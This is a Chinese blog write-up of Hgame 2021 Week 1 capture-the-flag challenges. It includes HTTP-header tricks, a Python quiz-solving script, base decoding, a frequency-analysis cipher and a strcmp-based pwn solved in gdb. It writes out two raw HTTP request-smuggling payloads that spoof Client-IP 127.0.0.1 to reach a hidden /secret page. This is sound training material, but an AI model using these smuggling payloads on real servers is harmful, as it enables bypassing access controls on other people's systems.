Hgame-2021-Week1 部分Wirteup


WEEK1的部分题目

WEB

Hitchhiking_in_the_Galaxy

比较基础的HTTP-headers题目

GET方式正常访问提示Method_NOT_allowed

image.png-55.8kB

修改访问方式为POST

image_1etnqq004bln94cjrf1j1epcu9.png-52.7kB

提示修改UA头为指定浏览器,后面的大概都是这些要求,直接一张图截下来了

image_1etnqtlsc12cl1qdf1brp1f271hplm.png-68.7kB

成功获取到flag

watermelon

合成大西瓜

未修改的源码

https://github.com/liyupi/daxigua

可以根据目录结构去读源码,Project.js中存在逻辑代码,可以根据github上的代码找相对应的字符,比如
gameover

image_1etnr5sau1vmn1995mg1pib13ns23.png-98.8kB

在github上找到相应的位置,在题目源码中搜索

image_1etnr71ln17t81kd9u4a1g7pq4k2g.png-16.7kB

base64解码即可

或者是直接玩,分数达到2000分以上就可以弹出flag了,网上说ipad分屏玩比较容易,让妹妹帮忙玩,玩到了2000

image_1etnra90n1ctn1g3la1414moui92t.png-2420.6kB

宝藏走私者

HTTP走私协议

这个还是比较有意思的题目。题目后来还有2.0版本。主要就是考察对HTTP走私协议的了解,现学了一手

https://paper.seebug.org/1048/
https://www.cnblogs.com/xhds/p/12339994.html

大概原理就是由于解析服务器与后端服务器对于访问的HTTP解析方式不同,导致我们传输的数据一部分为正常请求,另一部分为走私请求,从而达到恶意访问的目的

访问题目

image_1eto453risc34pi2ln1af9bu3a.png-12.5kB

让我们直接访问secret页面

image_1eto464kgj0lvnq2q1pcr2li3n.png-14.3kB

访问之后显示添加header头client-ip访问,正常访问添加后无法获取flag,结合题目,我们尝试使用Http走私的请求进行访问

image_1eto4cuneirp3uq103f1l3rm4s44.png-145.7kB

GET / HTTP/1.1
Host: thief.0727.site
Content-Length: 73
Transfer-Encoding: chunked

0


GET /secret HTTP/1.1
Host: thief.0727.site
Client-IP:127.0.0.1


一定要有换行符,这样服务器在解析的时候会正确读取ip,显示flag

image_1eto5jetru8i1uqp1ffpgki1env51.png-97.9kB

否则会出现ip与下一个数据包拼接在一块的问题

image_1eto5lq7t7141t33ollao28g45e.png-105kB

智商检测鸡

一开始chrome浏览器打开没看明白

image_1etob8o6s1a3i1sff1grm1idhhek5r.png-60.8kB

后来看题目说要用火狐打开

image_1etob9s541qoscmf1bt112p81qs068.png-40.7kB

提示式子为ax+b的形式,看一下源码

image_1etq92lp3gcc1mo4131d3051blm6l.png-55.7kB

image_1etq93efvv2g19o31vfa12ncvq272.png-58.3kB

给了接口,访问getQuestion接口可以获取题目,访问verify接口可以提交题目答案,如此循环,成功提交一百次后访问getFlag接口即可获取flag,逻辑很简单,我们可以用python解决问题,首先是获取题目的问题,需要我们把上限下限表达式都完整的取出来,这里本来想着是考察正则的,但是访问接口发现是标签类型的

image_1etqa21bi182015rvh8m1n91oss7f.png-21.8kB

可以直接用BeautifulSoup库来获取标签内字符串,从而获取到题目

image_1etqaa8rf1a171t23t8b1liq7ad8c.png-113.8kB

剩下的问题就是循环和获取cookie了

import re
import requests
from bs4 import BeautifulSoup
from sympy import *
import json
import time

url="http://r4u.top:5000"

def getQuestion(content):
    soup=BeautifulSoup(content,'html.parser')
    #print soup.prettify()
    a=soup.find_all('mo')
    b=soup.find_all('mi')
    c=soup.find_all('mn')
    sx=a[1].string+c[0].string
    xx=c[1].string
    sc=c[2].string+"*"+b[0].string+a[3].string+c[3].string
    print("sc={},sx={},xx={}".format(sc,sx,xx))
    # print(sx+":"+xx+":"+sc)
    x=symbols('x')
    answer=float(integrate(sc,('x',sx,xx)))
    return answer

def solving_answer(answer,cookies):
    verify = url+"/api/verify"
    headers = {'Content-Type': 'application/json','Cookie':'session={}'.format(cookies)}
    data = {"answer": "{}".format(answer)}
    res2 = requests.post(verify, json=data,headers=headers)
    cookies = res2.cookies['session']
    return cookies

def getflag(cookies):
    headers={
    'Set-Cookie': 'session=%s;'% cookies,
    'Content-Type': 'application/json'
    }
    ress_flag=requests.get(url=url+"/api/getFlag")
    print(ress_flag)

cookies = solving_answer(3,"text")

for i in range(1,101):
    Question = url+"/api/getQuestion"
    print(cookies)
    header = {'Cookie':'session={}'.format(cookies)}
    res = requests.get(Question,headers=header)
    content = res.text
    answer = getQuestion(content)
    verify = url+"/api/verify"
    headers = {'Content-Type': 'application/json','Cookie':'session={}'.format(cookies)}
    data = {"answer": "{}".format(answer)}
    res2 = requests.post(verify, json=data,headers=headers)
    #print(res2.text)

    cookies = res2.cookies['session']
    print(cookies)
    print(answer)
    time.sleep(0.2)
    if i == 101:
        getflag(cookies)

走私者的愤怒

HTTP走私协议2.0版本

这个发现有个小问题不太清楚,可能和前一道题目一样都需要换行符隔开数据包

POST / HTTP/1.1
Host: police.liki.link
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Length: 78
Transfer-Encoding: chunked

0

GET /secret HTTP/1.1
Host: 127.0.0.1
Client-IP: 127.0.0.1
a: 1





image_1etracrinn1416ed10utga6l2r99.png-76.1kB

MISC

Base全家福

image_1etrafg861dv41eva1r921alr1g59m.png-18.3kB

base64->base32->base16

image_1etrajhi00900u0016f7r24a3.png-18.2kB

CRYPTO

Transformer

image_1etran0vqckf59858p1r4f2tdag.png-37.1kB

题目说的非常复杂

拿到后先看txt文件

image_1etrb5oi91lr32011sdf1uuia97bd.png-19.9kB

非常明显的flag,直接在线词频分析一下

image_1etrb76kt5bkauh1vtkqeis83bq.png-321.9kB

获取到一半的flag,最后一句提示我们要添加上今年的年份,将2021加在flag里面即获取到正确的flag

PWN

whitegive

下载附件,给了源文件和二进制文件,先看一下源文件

image_1etrbnb7c16r4suncgatv1k0c7.png-29.8kB

逻辑很简单,我们输入num等于指定字符串即可执行shell,但是后面给我们提示了strcmp函数,这里百度了一下发现这个函数是存在漏洞的。看一下二进制文件分析一下

image_1etrc301j16nfj3g18lv10s616m7ck.png-20.6kB

根据ida可以看出,strcmp判断rdx和rax的值,我们可以在strcmp函数位置下一个断点,查看一下rax的值是多少,从而确定我们输入的函数,看一下cmp的汇编位置

image_1etrcrkge1uvs11ftj3m12fv6krd1.png-41.3kB

gdb下断点调试一下

image_1etrcuiss7r2k1h1otf2tf7emde.png-48kB

输入rax的值,即可getshell

image_1etrd0kqdiqiijl47v70e1plgdr.png-21.9kB

链接nc,执行命令获取flag即可

后记

期待第二周


发表评论

电子邮件地址不会被公开。 必填项已用*标注